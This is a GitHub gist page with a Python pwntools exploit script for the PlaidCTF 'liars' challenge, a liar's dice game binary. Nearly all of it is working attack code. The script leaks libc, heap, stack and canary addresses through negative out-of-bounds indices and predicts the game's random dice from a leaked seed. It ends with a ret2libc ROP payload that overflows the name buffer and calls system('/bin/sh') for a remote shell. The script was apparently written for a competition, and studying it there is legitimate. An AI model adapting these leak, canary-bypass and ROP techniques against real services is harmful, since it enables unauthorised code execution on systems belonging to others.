Last active
April 19, 2021 12:11
-
-
Save dkdna/fae42f1a9c6711244c5768c172755478 to your computer and use it in GitHub Desktop.
plaidctf - liars
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| from pwn import * | |
| import sys | |
| import ctypes | |
| from ctypes import * | |
| remote_ip, port = 'liars.pwni.ng', 2018 | |
| binary = './liarmod' | |
| brkpts = ''' | |
| b system | |
| ''' | |
| elf = ELF("liarmod") | |
| libc = ELF("libc.so.6") | |
| context.terminal = ['tmux', 'splitw', '-h'] | |
| context.arch = "amd64" | |
| context.log_level = "debug" | |
| #context.aslr = False | |
| re = lambda a: io.recv(a) | |
| reu = lambda a: io.recvuntil(a) | |
| rl = lambda: io.recvline() | |
| s = lambda a: io.send(a) | |
| sl = lambda a: io.sendline(a) | |
| sla = lambda a,b: io.sendlineafter(a,b) | |
| sa = lambda a,b: io.sendafter(a,b) | |
| uu64 = lambda a: u64(a.ljust(8,"\x00")) | |
| if len(sys.argv) > 1: | |
| io = remote(remote_ip, port) | |
| context.noptrace = True | |
| else: | |
| io = process(binary, env = {'LD_PRELOAD' : './libc.so.6'}) | |
| def choice(idx): | |
| sla("Leave\n", str(idx)) | |
| def checkdice(idx): | |
| choice(1) | |
| sla("? ", str(idx)) | |
| if __name__ == "__main__": | |
| sla("(4-10)? ", "4") | |
| checkdice(-12) | |
| leak = int(rl().split()[2]) | |
| checkdice(-11) | |
| leak = leak + (int(rl().split()[2]) << 32) | |
| libc.address = leak - 0x1ecf60 | |
| log.info("libc -> "+hex(libc.address)) | |
| checkdice(-204) | |
| leak = int(rl().split()[2]) | |
| checkdice(-203) | |
| leak = leak + (int(rl().split()[2]) << 32) | |
| heap = leak - 0x2a0 | |
| log.info("heap -> "+hex(heap)) | |
| libc_canary = libc.address + 0x1f3628 | |
| env = libc.symbols['__environ'] | |
| stack_offset = -((0xffffffffffffffff - (env - (heap + 0x4a0)))/4) | |
| sla("horizontally\n", "1") | |
| choice(1) | |
| checkdice(stack_offset) | |
| leak = (u32(p32(int(rl().split()[2]), signed = True)) << 32) | |
| checkdice(stack_offset - 1) | |
| leak = leak + (u32(p32(int(rl().split()[2]), signed = True))) | |
| stack = leak | |
| log.info("stack -> "+hex(stack)) | |
| stack_canary = stack - 0x110 | |
| canary_offset = -((0xffffffffffffffff - (stack_canary - (heap + 0x4a0)))/4) | |
| checkdice(canary_offset) | |
| leak = (u32(p32(int(rl().split()[2]), signed = True)) << 32) | |
| checkdice(canary_offset - 1) | |
| leak = leak + (u32(p32(int(rl().split()[2]), signed = True))) | |
| canary = leak | |
| log.info("canary -> "+hex(canary)) | |
| sla("? ", "1") | |
| sla("? ", "1") | |
| choice(1) | |
| rand_addr = stack - 0x114 - 0x8 | |
| rand_offset = -((0xffffffffffffffff - (rand_addr - (heap + 0x4a0)))/4) | |
| checkdice(rand_offset + 1) | |
| leak = (u32(p32(int(rl().split()[2]), signed = True))) | |
| seed = leak | |
| log.info("rand -> " + hex(seed)) | |
| libc1 = ctypes.cdll.LoadLibrary("./libc.so.6") | |
| libc1.srand(seed) | |
| player0 = [(libc1.rand() % 6) + 1 for i in range(5)] | |
| player1 = [(libc1.rand() % 6) + 1 for i in range(5)] | |
| player2 = [(libc1.rand() % 6) + 1 for i in range(5)] | |
| player3 = [(libc1.rand() % 6) + 1 for i in range(5)] | |
| player0 = [(libc1.rand() % 6) + 1 for i in range(5)] | |
| player1 = [(libc1.rand() % 6) + 1 for i in range(5)] | |
| player2 = [(libc1.rand() % 6) + 1 for i in range(5)] | |
| player3 = [(libc1.rand() % 6) + 1 for i in range(4)] | |
| choice(2) | |
| sla("? ", "0") | |
| len0 = 3 | |
| len1 = 5 | |
| len2 = 5 | |
| len3 = 5 | |
| rc = 1 | |
| test = False | |
| #gdb.attach(io, brkpts) | |
| while len1 != 0 or len2 != 0 or len3 != 0: | |
| if test == False: | |
| player0 = [(libc1.rand() % 6) + 1 for i in range(len0)] | |
| player1 = [(libc1.rand() % 6) + 1 for i in range(len1)] | |
| player2 = [(libc1.rand() % 6) + 1 for i in range(len2)] | |
| player3 = [(libc1.rand() % 6) + 1 for i in range(len3)] | |
| choice(0) | |
| print(player0) | |
| reu("-----\n\n") | |
| total = player0 + player1 + player2 + player3 | |
| vals = dict() | |
| for i in range(1, 7): | |
| vals[i] = total.count(i) | |
| if "Player 0" in re(8): | |
| sla("? ", str(max(vals, key = lambda x: vals[x]))) | |
| sla("? ", str(1)) | |
| test = True | |
| else: | |
| out = [] | |
| data = rl() | |
| flag = False | |
| flag2 = False | |
| while "Player 0" not in data: | |
| if "spot on" in data: | |
| test = False | |
| flag = True | |
| break | |
| elif "liar" in data: | |
| test = False | |
| flag2 = True | |
| break | |
| out.append(data) | |
| data = rl() | |
| if flag: | |
| data = rl() | |
| if "not" in data: | |
| pl = int(data.split()[6]) | |
| if pl == 1: | |
| len1 = len1 - 1 | |
| elif pl == 2: | |
| len2 = len2 - 1 | |
| elif pl == 3: | |
| len3 = len3 - 1 | |
| else: | |
| pl = int(data.split()[5]) | |
| if pl == 1: | |
| len1 = len1 + 1 | |
| elif pl == 2: | |
| len2 = len2 + 1 | |
| elif pl == 3: | |
| len3 = len3 + 1 | |
| elif flag2: | |
| data = rl() | |
| pl = int(data.split()[-4]) | |
| if pl == 1: | |
| len1 = len1 - 1 | |
| elif pl == 2: | |
| len2 = len2 - 1 | |
| elif pl == 3: | |
| len3 = len3 - 1 | |
| elif pl == 0: | |
| len0 = len0 - 1 | |
| elif len3 > 0: | |
| data = out[-2] | |
| bet = (int(data.split()[1]), int(data.split()[2][0])) | |
| if vals[bet[1]] < bet[0]: | |
| choice(1) | |
| len3 = len3 - 1 | |
| test = False | |
| elif vals[bet[1]] == bet[0]: | |
| choice(2) | |
| test = False | |
| rl() | |
| if "not" in rl(): | |
| len0 = len0 - 1 | |
| else: | |
| len0 = len0 + 1 | |
| else: | |
| choice(0) | |
| val = max(vals, key = lambda x: vals[x]) | |
| if bet[0] + 1 <= vals[val] and bet[1] <= val: | |
| sla("? ", str(val)) | |
| sla("? ", str(bet[0] + 1)) | |
| test = True | |
| else: | |
| sla("? ", str(6)) | |
| sla("? ", str(6)) | |
| test = True | |
| elif len2 > 0: | |
| data = out[-2] | |
| bet = (int(data.split()[1]), int(data.split()[2][0])) | |
| if vals[bet[1]] < bet[0]: | |
| choice(1) | |
| len2 = len2 - 1 | |
| test = False | |
| elif vals[bet[1]] == bet[0]: | |
| choice(2) | |
| test = False | |
| rl() | |
| if "not" in rl(): | |
| len0 = len0 - 1 | |
| else: | |
| len0 = len0 + 1 | |
| else: | |
| choice(0) | |
| val = max(vals, key = lambda x: vals[x]) | |
| if bet[0] + 1 <= vals[val] and bet[1] <= val: | |
| sla("? ", str(val)) | |
| sla("? ", str(bet[0] + 1)) | |
| test = True | |
| else: | |
| sla("? ", str(6)) | |
| sla("? ", str(6)) | |
| test = True | |
| elif len1 > 0: | |
| data = out[-2] | |
| bet = (int(data.split()[1]), int(data.split()[2][0])) | |
| if vals[bet[1]] < bet[0]: | |
| choice(1) | |
| len1 = len1 - 1 | |
| test = False | |
| elif vals[bet[1]] == bet[0]: | |
| choice(2) | |
| test = False | |
| rl() | |
| if "not" in rl(): | |
| len0 = len0 - 1 | |
| else: | |
| len0 = len0 + 1 | |
| else: | |
| choice(0) | |
| val = max(vals, key = lambda x: vals[x]) | |
| if bet[0] + 1 <= vals[val] and bet[1] <= val: | |
| sla("? ", str(val)) | |
| sla("? ", str(bet[0] + 1)) | |
| test = True | |
| else: | |
| sla("? ", str(6)) | |
| sla("? ", str(6)) | |
| test = True | |
| system = libc.symbols['system'] | |
| binsh = next(libc.search("/bin/sh")) | |
| pop_rdi = libc.address + 0x26b72 | |
| ret = libc.address + 0x25679 | |
| payload = "a"*520 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system) | |
| sla("name? ", payload) | |
| io.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment